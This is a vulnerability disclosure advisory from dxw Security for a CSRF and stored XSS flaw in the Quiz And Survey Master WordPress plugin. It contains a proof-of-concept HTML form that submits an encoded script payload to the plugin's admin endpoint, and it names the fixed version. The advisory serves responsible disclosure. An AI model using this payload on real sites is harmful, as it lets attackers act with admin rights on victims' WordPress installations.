CSRF/stored XSS in Quiz And Survey Master (Formerly Quiz Master Next) allows unauthenticated attackers to do almost anything an admin can (WordPress plugin)

[dxw Security <security () dxw com>]

Details
================
Software: Quiz And Survey Master (Formerly Quiz Master Next)
Version: 4.5.4,4.7.8
Homepage: https://wordpress.org/plugins/quiz-master-next/
Advisory report: 
https://security.dxw.com/advisories/csrfstored-xss-in-quiz-and-survey-master-formerly-quiz-master-next-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
CSRF/stored XSS in Quiz And Survey Master (Formerly Quiz Master Next) allows unauthenticated attackers to do almost 
anything an admin can

Vulnerability
================
A CSRF vulnerability allows an unauthenticated attacker to add questions to existing quizzes.
The question_name parameter is put into a manually-constructed JavaScript object and escaped with esc_js() 
(php/qmn_options_questions_tab.php line 499). If the user (or attacker) creates a new question on a quiz containing 
“<script>alert(1)</script>” in the question_name field then “question: ‘&lt;script&gt;alert(1)&lt;/script&gt;’,” will 
get output inside the JS object. All good so far.
However, in js/admin_question.js on line 205, we see this line, as part of some JS-generated HTML:
jQuery(\'<textarea/>\').html(questions_list[i].question.replace(/\"/g, \'\"\').replace(/\'/g, \"\'\")).text()+
This looks okay. We’re creating a TEXTAREA element, setting its HTML to the value of the question_name parameter, and 
extracting the .text() of it. If we did jQuery(‘<textarea/>’).html(‘<script>alert(1)</script>’).text() we would get 
“alert(1)” as the output.
However, that’s not how inline JavaScript gets parsed. Between a <script> and a </script>, the HTML parser actually 
parses “&lt;” as “&lt;” not as “<“. So if we do 
jQuery(‘<textarea/>’).html(‘&lt;script&gt;alert(1)&lt;/script&gt;’).text() we get “<script>alert(1)</script>”.
And since “<script>alert(1)</script>” doesn’t appear anywhere in the page, Chrome’s reflected XSS mitigation measures 
are not activated. Thus the stored XSS attack can be executed immediately.

Proof of concept
================
Click the submit button on the following page (in a real attack the form can be submitted without user interaction):
<form method=\"POST\" action=\"http://localhost/wp-admin/admin.php?page=mlw_quiz_options&quiz_id=1\";>
<input type=\"text\" name=\"question_type\" value=\"0\">
<input type=\"text\" name=\"question_name\" value=\"&lt;script>alert(1)&lt;/script>\">
<input type=\"text\" name=\"question_submission\" value=\"new_question\">
<input type=\"text\" name=\"quiz_id\" value=\"1\">
<input type=\"submit\">
</form>

Mitigations
================
Upgrade to version 4.7.9 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: 
https://security.dxw.com/disclosure/

Please contact us on security () dxw com to acknowledge this report if you received it via a third party (for example, 
plugins () wordpress org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2015-09-14: Discovered
2016-12-07: Reported to vendor via https://quizandsurveymaster.com/contact-us/
2016-12-07: Requested CVE
2016-12-13: Vendor replied
2016-12-14: Vendor reported issue fixed in version 4.7.9
2016-12-15: Advisory published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
          


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